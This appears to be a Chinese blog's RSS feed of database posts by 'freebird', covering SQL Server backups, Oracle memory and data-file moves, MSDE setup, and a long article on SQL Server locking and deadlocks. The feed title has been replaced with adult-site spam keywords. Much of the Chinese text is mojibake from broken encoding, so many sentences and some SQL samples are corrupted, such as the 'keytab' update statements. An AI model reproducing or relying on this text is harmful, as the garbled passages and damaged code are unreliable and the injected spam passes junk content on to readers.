??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲午夜久久久久久久久电影网 ,亚洲av无码成人精品区一本二本,亚洲欧洲校园自拍都市http://www.tkk7.com/freebird/archive/2010/08/08/328242.htmlfreebirdfreebirdSun, 08 Aug 2010 08:09:00 GMThttp://www.tkk7.com/freebird/archive/2010/08/08/328242.htmlhttp://www.tkk7.com/freebird/comments/328242.htmlhttp://www.tkk7.com/freebird/archive/2010/08/08/328242.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/328242.htmlhttp://www.tkk7.com/freebird/services/trackbacks/328242.html 但是必竞是PC机,故障的机率会大一些?其是硬?/span>--数据的心脏,但是坏的可能性也是最大的Q这可真是一件头大的事情?br /> 当然可以用raid实现Qraid卡也需要主板的支持Qpc机的L支持raid的好像也不多Q而且raid做阵列也挺麻烦的Q恢复的时候也不简单?br /> 而且一但raid卡坏了,那还真是个大的麻烦,要去C块一Lraid卡,旉长了q真不好CL?nbsp;


其实了解了数据库的恢复机Ӟq个问题也好办,可以用以下方法实玎ͼ我感觉这个方法比raid单多?nbsp;

1.最用两块盘Q一块存放数据库的数据文Ӟ一块存放数据库的日志文?nbsp;
2.Ҏ(gu)据库要做一ơ完全备份,备䆾可以和日志文件放在一块硬盘上 
3.打开数据库的完全日志 要做的就以上q些Q是否很单?br />

以上我是针对sqlserver来操作的。而且把数据文件和日志文g分别攑ֈ不同的盘上还可以提高性能Q一举两得?nbsp;
q样Q不其中哪块硬盘出问题Q都可以实现数据恢复 如果放数据文件的盘损坏Q你可以用完全备份和日志文g来恢复数据?br /> 如果日志文g盘损坏Q不影响使用Q换块新的就O(jin)K。当然两块同时坏了就完了Q不q机率太了吧,哈哈

freebird 2010-08-08 16:09 发表评论
]]>
oracle内存分配与调?--?/title><link>http://www.tkk7.com/freebird/archive/2009/08/03/289641.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Mon, 03 Aug 2009 10:12:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/08/03/289641.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/289641.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/08/03/289641.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/289641.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/289641.html</trackback:ping><description><![CDATA[     摘要: l 前言 <br> <br> <br> <br>对于oracle的内存的理Q截止到9iR2Q都是相当重要的环节Q管理不善,可能给数据库带来严重的性能问题。下面我们将一步一步就内存理的各个方面进行探讨?<br> <br>  <a href='http://www.tkk7.com/freebird/archive/2009/08/03/289641.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/289641.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-08-03 18:12 <a href="http://www.tkk7.com/freebird/archive/2009/08/03/289641.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle数据文gUdҎ(gu) - ?/title><link>http://www.tkk7.com/freebird/archive/2009/08/02/289468.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Sun, 02 Aug 2009 07:39:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/08/02/289468.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/289468.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/08/02/289468.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/289468.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/289468.html</trackback:ping><description><![CDATA[     摘要: 6.2 参考资料:Oracle数据库移动方?<br>q里所指“数据库Ud”是Oracle数据文gQ系l数据文件或用户数据文gQ、控制文件、重做日志移动至新的存储路径Qƈ修改Oracle相关配置Q之可以重新正常启动。这U应用常见于pȝ扩容后的Oracle数据存储路径的调整?<br>以下面ؓ例,Udpȝ表空间的相关文g位置Qƈ重新配置Oracle。假讑֎存储路径?oradataQ新存储路径?oratest?<br>6.2.1 Ud数据库文?<br>1Q?获取数据库相关信?<br>查看一下数据库的文件内容: <br>sqlplus /nolog <br>SQL> connect /as sysdba <br>SQL> select * from v$datafile; <br>SQL> select * from v$controlfile <br>SQL> select * from v$logfile;  <a href='http://www.tkk7.com/freebird/archive/2009/08/02/289468.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/289468.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-08-02 15:39 <a href="http://www.tkk7.com/freebird/archive/2009/08/02/289468.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于MSDE使用和发布的一些体?- ?/title><link>http://www.tkk7.com/freebird/archive/2009/08/01/289413.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Sat, 01 Aug 2009 11:34:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/08/01/289413.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/289413.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/08/01/289413.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/289413.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/289413.html</trackback:ping><description><![CDATA[     摘要: 1.MSDE的安? <br>MSDE如果默认安装的话,实例名和机器名是一致的,同时pȝ的SA密码会被讄为空.如果要对其做一些修?可以通过修改目录下的SETUP.INI文g来实?其中主要涉及以下几项: <br>[Options] <br>SECURITYMODE=SQL //登陆方式,SQL表示SQL登陆 <br>INSTANCENAME=singlewks //实例?<br>DISABLENETWORKPROTOCOLS=1 //|络可访问?0表示|络用户可访?1表示不可?<br>DATADIR="c:\singlewks\Data" //数据文g存放位置 <br>SAPWD=your_pwd //SA密码  <a href='http://www.tkk7.com/freebird/archive/2009/08/01/289413.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/289413.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-08-01 19:34 <a href="http://www.tkk7.com/freebird/archive/2009/08/01/289413.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle job ?/title><link>http://www.tkk7.com/freebird/archive/2009/06/18/282971.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Thu, 18 Jun 2009 00:58:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/06/18/282971.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/282971.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/06/18/282971.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/282971.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/282971.html</trackback:ping><description><![CDATA[     摘要: 常要oracle数据库定时的自动执行一些脚本,或做数据库备份,或做数据的提|或做数据库的性能优化Q包括重建烦引等{的工作,q时需要用C个函数dbms_job.submitQ来完成Oracle定时器Job旉的处理上。用dbms_job.submitq个函数Q我们只需要考虑两个事情Q安排某一dQ和定制一个执行Q务的旉炏V但最重要也是最手的事情,我认是确定一个执行Q务的旉炏V时间点定了,其他的事情就好办了。下面是函数dbms_job.submit使用Ҏ(gu)Q?  <a href='http://www.tkk7.com/freebird/archive/2009/06/18/282971.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/282971.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-06-18 08:58 <a href="http://www.tkk7.com/freebird/archive/2009/06/18/282971.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE中NOT IN 的替?/title><link>http://www.tkk7.com/freebird/archive/2009/06/10/281144.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Wed, 10 Jun 2009 06:18:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/06/10/281144.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/281144.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/06/10/281144.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/281144.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/281144.html</trackback:ping><description><![CDATA[     摘要: 典型的查询方式ؓQ?<br>SELECT TITLE <br>FROM BOOKSHELF <br>WHERE TITLE NOT IN <br> (SELECT TITLE FROM BOOKSHELF_CHECKOUT) <br>ORDER BY TITLEQ?<br>如果BOOKSHELF_CHECKOUT很大的话Q速度可能会很慢,因ؓORACLE会在BOOKSHELF_CHECKOUT上执行一个时间密集型的全表扫描?<br> <br>oracle 中not in 效率不高 <br>  <a href='http://www.tkk7.com/freebird/archive/2009/06/10/281144.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/281144.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-06-10 14:18 <a href="http://www.tkk7.com/freebird/archive/2009/06/10/281144.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MS SQL Server和MySQL区别 -?/title><link>http://www.tkk7.com/freebird/archive/2009/05/26/277980.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 26 May 2009 03:54:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/05/26/277980.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/277980.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/05/26/277980.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/277980.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/277980.html</trackback:ping><description><![CDATA[     摘要: 1 MySQL支持enum,和setcdQSQL Server不支?<br> <br>2 MySQL不支持nchar,nvarchar,ntextcd <br> <br>3 MySQL的递增语句是AUTO_INCREMENTQ而MS SQL是identity(1,1) <br> <br>4 MS SQL默认到处表创句的默认DC是((0)),而在MySQL里面是不允许带两括号?<br> <br>5 MySQL需要ؓ表指定存储类?<br>  <a href='http://www.tkk7.com/freebird/archive/2009/05/26/277980.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/277980.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-05-26 11:54 <a href="http://www.tkk7.com/freebird/archive/2009/05/26/277980.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>access日期和时间函??/title><link>http://www.tkk7.com/freebird/archive/2009/05/21/272006.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Thu, 21 May 2009 08:04:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/05/21/272006.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/272006.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/05/21/272006.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/272006.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/272006.html</trackback:ping><description><![CDATA[     摘要: 讄当前日期或时间?Date ,Now, Time <br>计算日期: DateAdd, DateDiff, DatePart <br>q回日期: DateSerial, DateValue <br>q回旉: TimeSerial, TimeValue <br>讄日期或时? Date, Time <br>计时: Timer <br>在帮助里有~ <br>---------------------------   <a href='http://www.tkk7.com/freebird/archive/2009/05/21/272006.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/272006.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-05-21 16:04 <a href="http://www.tkk7.com/freebird/archive/2009/05/21/272006.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>乐观锁、?zhn)观?Q{E兴国)http://www.tkk7.com/freebird/archive/2009/04/28/267936.htmlfreebirdfreebirdTue, 28 Apr 2009 08:06:00 GMThttp://www.tkk7.com/freebird/archive/2009/04/28/267936.htmlhttp://www.tkk7.com/freebird/comments/267936.htmlhttp://www.tkk7.com/freebird/archive/2009/04/28/267936.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/267936.htmlhttp://www.tkk7.com/freebird/services/trackbacks/267936.html阅读全文

freebird 2009-04-28 16:06 发表评论
]]>
sqlserver的updlock?Q{Q?/title><link>http://www.tkk7.com/freebird/archive/2009/04/28/267933.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 08:04:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/04/28/267933.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/267933.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/04/28/267933.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/267933.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/267933.html</trackback:ping><description><![CDATA[     摘要: UPDLOCK <br>  d表时使用更新锁,而不使用׃n锁,q将锁一直保留到语句或事务的l束。UPDLOCK 的优Ҏ(gu)允许(zhn)读取数据(不阻塞其它事务)q在以后更新数据Q同时确保自从上ơ读取数据后数据没有被更攏V?<br>  q是SqlServer2000中对更新锁的说明.  <a href='http://www.tkk7.com/freebird/archive/2009/04/28/267933.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/267933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-04-28 16:04 <a href="http://www.tkk7.com/freebird/archive/2009/04/28/267933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用事务与锁Q实C个用户取q的数据不被其他用户取到Q{邹健Q?/title><link>http://www.tkk7.com/freebird/archive/2009/04/28/267931.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 07:55:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/04/28/267931.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/267931.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/04/28/267931.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/267931.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/267931.html</trackback:ping><description><![CDATA[     摘要: 问题描述Q?<br> <br>用ADO讉K数据库,从一个表中取一定的记录Q比?0行)Q取出后在程序中使用Q用完后删除掉记录Q不用更新或删除记录Q。在多用h作下(每个用户采用相同的操?Q怎么保证一个用户已选取的记录不被其他用户选取? <br>  <a href='http://www.tkk7.com/freebird/archive/2009/04/28/267931.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/267931.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-04-28 15:55 <a href="http://www.tkk7.com/freebird/archive/2009/04/28/267931.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>q发提交Q单号避免重?/title><link>http://www.tkk7.com/freebird/archive/2009/04/28/267889.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 28 Apr 2009 05:31:00 GMT</pubDate><guid>http://www.tkk7.com/freebird/archive/2009/04/28/267889.html</guid><wfw:comment>http://www.tkk7.com/freebird/comments/267889.html</wfw:comment><comments>http://www.tkk7.com/freebird/archive/2009/04/28/267889.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/freebird/comments/commentRss/267889.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/freebird/services/trackbacks/267889.html</trackback:ping><description><![CDATA[     摘要: q是一个很有代表性的问题Q在C/Sl构的数据库应用E序中经常碰刎ͼ如果q种问题 <br>不能很好地解冻I可能造成pȝ速度~慢、死锁甚臛_溃?nbsp; <a href='http://www.tkk7.com/freebird/archive/2009/04/28/267889.html'>阅读全文</a><img src ="http://www.tkk7.com/freebird/aggbug/267889.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/freebird/" target="_blank">freebird</a> 2009-04-28 13:31 <a href="http://www.tkk7.com/freebird/archive/2009/04/28/267889.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MS SQL Server数据库事务锁机制分析(?http://www.tkk7.com/freebird/archive/2007/09/20/146670.htmlfreebirdfreebirdThu, 20 Sep 2007 00:57:00 GMThttp://www.tkk7.com/freebird/archive/2007/09/20/146670.htmlhttp://www.tkk7.com/freebird/comments/146670.htmlhttp://www.tkk7.com/freebird/archive/2007/09/20/146670.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/146670.htmlhttp://www.tkk7.com/freebird/services/trackbacks/146670.html     锁是|络数据库中的一个非帔R要的概念Q它主要用于多用L境下保证数据库完整性和一致性。各U大型数据库所采用的锁的基本理论是一致的Q但在具体实C各有差别。目前,大多数数据库理pȝ都或多或具有自我调节、自我管理的功能Q因此很多用户实际上不清楚锁的理论和所用数据库中锁的具体实现?

Microsoft SQL ServerQ以下简USQL ServerQ作ZU中型数据库管理系l,已经得到了广泛的应用Q该pȝ更强调由pȝ来管理锁。在用户有SQLhӞpȝ分析hQ自动在满锁定条g和系l性能之间为数据库加上适当的锁Q同时系l在q行期间常常自动q行优化处理Q实行动态加锁。对于一般的用户而言Q通过pȝ的自动锁定管理机制基本可以满用要求,但如果对数据安全、数据库完整性和一致性有Ҏ(gu)要求Q就必须自己控制数据库的锁定和解锁,q就需要了解SQL Server的锁机制Q掌握数据库锁定Ҏ(gu)?

锁的多粒度性以及锁升

数据库中的锁是指一UY件机Ӟ用来指示某个用户Q也卌E会话,下同Q已l占用了某种资源Q从而防止其他用户做出媄响本用户的数据修Ҏ(gu)D数据库数据的非完整性和非一致性。这儿所谓资源,主要指用户可以操作的数据行、烦引以及数据表{。根据资源的不同Q锁有多_度QmultigranularQ的概念Q也是指可以锁定的资源的层ơ。SQL Server中能够锁定的资源_度包括Q数据库、表、区域、页面、键|指带有烦引的行数据)、行标识W(RIDQ即表中的单行数据)?

采用多粒度锁的重要用途是用来支持q发操作和保证数据的完整性。SQL ServerҎ(gu)用户的请求,做出分析后自动给数据库加上合适的锁。假设某用户只操作一个表中的部分行数据,pȝ可能会只d几个行锁QRIDQ或面锁,q样可以可能多地支持多用户的ƈ发操作。但是,如果用户事务中频J对某个表中的多条记录操作,导致对该表的许多记录行都加上了行锁,数据库系l中锁的数目会急剧增加Q这样就加重了系l负P影响pȝ性能。因此,在数据库pȝ中,一般都支持锁升U?lock escalation)。所谓锁升是指调整锁的_度Q将多个低粒度的锁替换成数的更高粒度的锁,以此来降低系l负荗在SQL Server中当一个事务中的锁较多Q达到锁升门限Ӟpȝ自动行U锁和页面锁升U锁。特别值得注意的是Q在SQL Server中,锁的升门限以及锁升U是ql自动来定的,不需要用戯|?

锁的模式和兼Ҏ(gu)?

在数据库中加锁时Q除了可以对不同的资源加锁,q可以用不同程度的加锁方式Q即锁有多种模式QSQL Server中锁模式包括Q?

1Q共享锁

SQL Server中,׃n锁用于所有的只读数据操作。共享锁是非独占的,允许多个q发事务d光定的资源。默认情况下Q数据被d后,SQL Server立即释放׃n锁。例如,执行查询“SELECT * FROM my_table”时Q首先锁定第一,d之后Q释攑֯W一늚锁定Q然后锁定第二页。这P允许在L作过E中Q修Ҏ(gu)被锁定的W一c但是,事务隔离U别q接选项讄和SELECT语句中的锁定讄都可以改变SQL Server的这U默认设|。例如,?SELECT * FROM my_table HOLDLOCK”就要求在整个查询过E中Q保持对表的锁定Q直到查询完成才释放锁定?

2Q修攚w

修改锁在修改操作的初始化阶段用来锁定可能要被修改的资源,q样可以避免使用׃n锁造成的死锁现象。因Z用共享锁Ӟ修改数据的操作分Z步,首先获得一个共享锁Q读取数据,然后共享锁升为独占锁Q然后再执行修改操作。这样如果同时有两个或多个事务同时对一个事务申请了׃n锁,在修Ҏ(gu)据的时候,q些事务都要共享锁升为独占锁。这Ӟq些事务都不会释攑օ享锁而是一直等待对斚w放,q样造成了死锁。如果一个数据在修改前直接申请修攚wQ在数据修改的时候再升为独占锁Q就可以避免死锁。修攚w与共享锁是兼容的Q也是说一个资源用׃n锁锁定后Q允许再用修攚w锁定?

3Q独占锁

独占锁是ZҎ(gu)据而保留的。它所锁定的资源,其他事务不能d也不能修攏V独占锁不能和其他锁兼容?

4Q结构锁

l构锁分为结构修攚wQSch-MQ和l构E_锁(Sch-SQ。执行表定义语言操作ӞSQL Server采用Sch-M锁,~译查询ӞSQL Server采用Sch-S锁?

5Q意向锁

意向锁说明SQL Server有在资源的低层获得共享锁或独占锁的意向。例如,表的共享意向锁说明事务意图独占锁释放到表中的|者行。意向锁又可以分为共享意向锁、独占意向锁和共享式独占意向锁。共享意向锁说明事务意图在共享意向锁所锁定的低层资源上攄׃n锁来d数据。独占意向锁说明事务意图在共享意向锁所锁定的低层资源上攄独占锁来修改数据。共享式独占锁说明事务允许其他事务用共享锁来读取顶层资源,q意囑֜该资源低层上攄独占锁?

6Q批量修攚w

扚w复制数据时用批量修攚w。可以通过表的TabLock提示或者用系l存储过Esp_tableoption的“table lock on bulk load”选项讑֮扚w修改锁?

另外QSQL Server命o语句操作会媄响锁定的方式Q语句的l合也同栯产生不同的锁定,详情如下表:

锁冲H及光止办?

在数据库pȝ中,死锁是指多个用户Q进E)分别锁定了一个资源,q又试图h锁定Ҏ(gu)已经锁定的资源,q就产生了一个锁定请求环Q导致多个用Pq程Q都处于{待Ҏ(gu)释放所锁定资源的状态?

在SQL Server中,pȝ能够自动定期搜烦和处理死锁问题。系l在每次搜烦中标识所有等待锁定请求的q程会话Q如果在下一ơ搜索中该被标识的进E仍处于{待状态,SQL Server开始递归死锁搜烦?

(上接WD21? 当搜索检到锁定h环时Q系l将Ҏ(gu)各进E会话的死锁优先U别来结束一个优先最低的事务Q此后,pȝ回滚该事务,q向该进E发?205号错误信息。这P其他事务有可能l箋q行了。死锁优先的设|语句ؓQ?

SET DEADLOCK_PRIORITY { LOW | NORMAL}

其中LOW说明该进E会话的优先U较低,在出现死锁时Q可以首先中断该q程的事务。另外,各进E中通过讄LOCK_TIMEOUT选项能够讄q程处于锁定h状态的最长等待时间。该讄的语句:

SET LOCK_TIMEOUT { timeout_period }

其中Qtimeout_period以毫Uؓ单位?

理解了死锁的概念Q在应用E序中就可以采用下面的一些方法来量避免死锁了:

Q?Q合理安排表讉K序?

Q?Q在事务中尽量避免用户干预,量使一个事务处理的d些?

Q?Q采用脏L术。脏ȝ于不对被讉K的表加锁Q而避免了锁冲H。在客户?服务器应用环境中Q有些事务往往不允许读脏数据,但在特定的条件下Q我们可以用脏读?

Q?Q数据访问时域离散法。数据访问时域离散法是指在客h/服务器结构中Q采取各U控制手D|制对数据库或数据库中的对象访问时间段。主要通过以下方式实现: 合理安排后台事务的执行时_采用工作对后台事务q行l一理。工作流在管理Q务时Q一斚w限制同一cMQ务的U程敎ͼ往往限制?个)Q防止资源过多占? 另一斚w合理安排不同d执行时序、时_量避免多个后台d同时执行Q另外, 避免在前C易高峰时间运行后CQ务?

Q?Q数据存储空间离散法。数据存储空间离散法是指采取各种手段Q将逻辑上在一个表中的数据分散到若q离散的I间上去Q以便改善对表的讉K性能。主要通过以下Ҏ(gu)实现: W一Q将大表按行或列分解q小? W二Q按不同的用L分解?

Q?Q用尽可能低的隔离性别。隔L别是指ؓ保证数据库数据的完整性和一致性而多用户事务隔ȝE度QSQL92定义?U隔L别:未提交读、提交读、可重复d可串行。如果选择q高的隔L别,如可串行Q虽然系l可以因实现更好隔离性而更大程度上保证数据的完整性和一致性,但各事务间冲H而死锁的Z大大增加Q大大媄响了pȝ性能?

Q?Q用Bound Connections。Bound connections 允许两个或多个事务连接共享事务和锁,而且M一个事务连接要甌锁如同另外一个事务要甌锁一P因此可以允许q些事务׃n数据而不会有加锁的冲H?

Q?Q考虑使用乐观锁定或事务首先获得一个独占锁定。一个最常见的死锁情况发生在pdL成器中,它们通常是这L写的Q?

begin tran

select new_id from keytab holdlock

update keytab set new_idQnew_id+l

commit tran

如果有两个用户在同时q行q一事务Q他们都会得到共享锁定ƈ保持它。当两个用户都试囑־到keytab表的独占锁定Ӟ׃q入死锁。ؓ了避免这U情늚发生Q应上qC务重写成如下形式Q?

begin tran

update keytab set new_id=new_id+l

select new_id from keytab

commit tran

以这U方式改写后Q只有一个事务能得到keytab的独占锁定,其他q程必须{到W一个事务的完成Q这栯增加了执行时_但避免了死锁?

如果要求在一个事务中hd的可重复能力Q就要考虑以这U方式来~写事务Q以获得资源的独占锁定,然后再去L据。例如,如果一个事务需要检索出titles表中所有书的^均h(hun)|q保证在update被应用前Q结果不会改变,优化器就会分配一个独占的表锁定。考虑如下的SQL代码Q?

begin tran

update titles set title_ididQtitle_id Q?

where 1Q?

if (selectavg(price)fromtitles)>$15

begin

/* perform some additional processing */

end

update titles set priceQprice*1.10

where price<(select avg(price)from titles)

commit tran

在这个事务中Q重要的是没有其他进E修改表中Q何行的priceQ或者说在事务结束时索的g事务开始时索的g同。这里的where子句看v来很奇怪,但是不管你相信与否,q是q今为止优化器所遇到的最完美有效的where子句Q尽计出的结果Lfalse。当优化器处理此查询Ӟ因ؓ它找不到M有效的SARGQ它的查询规划就会强制用一个独占锁定来q行表扫描。此事务执行Ӟwhere子句立即得到一个false|于是不会执行实际上的扫描Q但此进E仍得到了一个独占的表锁定?

因ؓ此进E现在已有一个独占的表锁Q所以可以保证没有其他事务会修改M数据行,能进行重复读Q且避免了由于holdlock所引v的潜在性死锁。但是,要避免死锁,不可能不付出代h(hun)。在使用表锁定来可能地减少死锁的同Ӟ也增加了对表锁定的争用。因此,在实现这U方法之前,你需要权衡一下:避免死锁是否比允许ƈ发地对表q行讉K更重要?

手工加锁

SQL Serverpȝ中徏议让pȝ自动理锁,该系l会分析用户的SQL语句要求Q自动ؓ该请求加上合适的锁,而且在锁的数目太多时Q系l会自动q行锁升U。如前所qͼ升的门限由pȝ自动配置Qƈ不需要用户配|?

在实际应用中Q有时ؓ了应用程序正运行和保持数据的一致性,必须Zؓ地给数据库的某个表加锁。比如,在某应用E序的一个事务操作中Q需要根据一~号对几个数据表做统计操作,Z证统计数据时间的一致性和正确性,从统计第一个表开始到全部表结束,其他应用E序或事务不能再对这几个表写入数据,q个时候,该应用程序希望在从统计第一个数据表开始或在整个事务开始时能够q序h为地Q显式地Q锁定这几个表,q就需要用到手工加锁(也称昑ּ加锁Q技术?

在SQL Server 的SQL语句QSELECT、INSERT、DELETE、UPDATEQ支持显式加锁。这4个语句在昑ּ加锁的语法上cMQ下面仅以SELECT语句Zl出语法Q?

SELECT FROM [ WITH ]

其中Q指需要在该语句执行时d在该表上的锁cd。所指定的锁cd有如下几U:

1QHOLDLOCK: 在该表上保持׃n锁,直到整个事务l束Q而不是在语句执行完立即释放所d的锁?

2QNOLOCKQ不d׃n锁和排它锁,当这个选项生效后,可能d未提交读的数据或“脏数据”,q个选项仅仅应用于SELECT语句?

3Q?PAGLOCKQ指定添加页面锁Q否则通常可能d表锁Q?

4QREADCOMMITTEDQ设|事务ؓL交隔L别?

5QREADPAST: 跌已经加锁的数据行Q这个选项事务d数据时蟩q那些已l被其他事务锁定的数据行Q而不是阻塞直到其他事务释NQREADPAST仅仅应用于READ COMMITTED隔离性别下事务操作中的SELECT语句操作?

6QREADUNCOMMITTEDQ等同于NOLOCK?

7QREPEATABLEREADQ设|事务ؓ可重复读隔离性别?

8QROWLOCKQ指定用行U锁?

9QSERIALIZABLEQ设|事务ؓ可串行的隔离性别?

10QTABLOCKQ指定用表U锁Q而不是用行U或面U的锁,SQL Server在该语句执行完后释放q个锁,而如果同时指定了HOLDLOCKQ该锁一直保持到q个事务l束?

11QTABLOCKXQ指定在表上使用排它锁,q个锁可以阻止其他事务读或更新这个表的数据,直到q个语句或整个事务结束?

12Q?UPDLOCK Q指定在读表中数据时讄修改锁(update lockQ而不是设|共享锁Q该锁一直保持到q个语句或整个事务结束,使用UPDLOCK的作用是允许用户先读取数据(而且不阻塞其他用戯数据Q,q且保证在后来再更新数据Ӟq一D|间内q些数据没有被其他用户修攏V?

׃可见Q在SQL Server中可以灵zd样地为SQL语句昑ּ加锁Q若适当使用Q我们完全可以完成一些程序的Ҏ(gu)要求Q保证数据的一致性和完整性。对于一般用者而言Q了解锁机制q不意味着必须使用它。事实上QSQL Server让系l自动管理数据库中的锁,而且一些关于锁的设|选项也没有提供给用户和数据库理人员Q对于特D用P通过l数据库中的资源昑ּ加锁Q可以满_高的数据一致性和可靠性要求,只是需要特别注意避免死锁现象的出现?


哦﹐單一下﹐如果你用where語句updateQdelete{操作進行限制H如果修改了一條﹐有可能會使用行鎖Q行鎖分RID與KIDH如果有索引HSQL產生的是KIDH如何沒有就會產生RIDH都是鎖定一行﹔如果更新涉及行數較多H就會上升為頁面鎖(每頁8KQ或表鎖?/font>

freebird 2007-09-20 08:57 发表评论
]]>
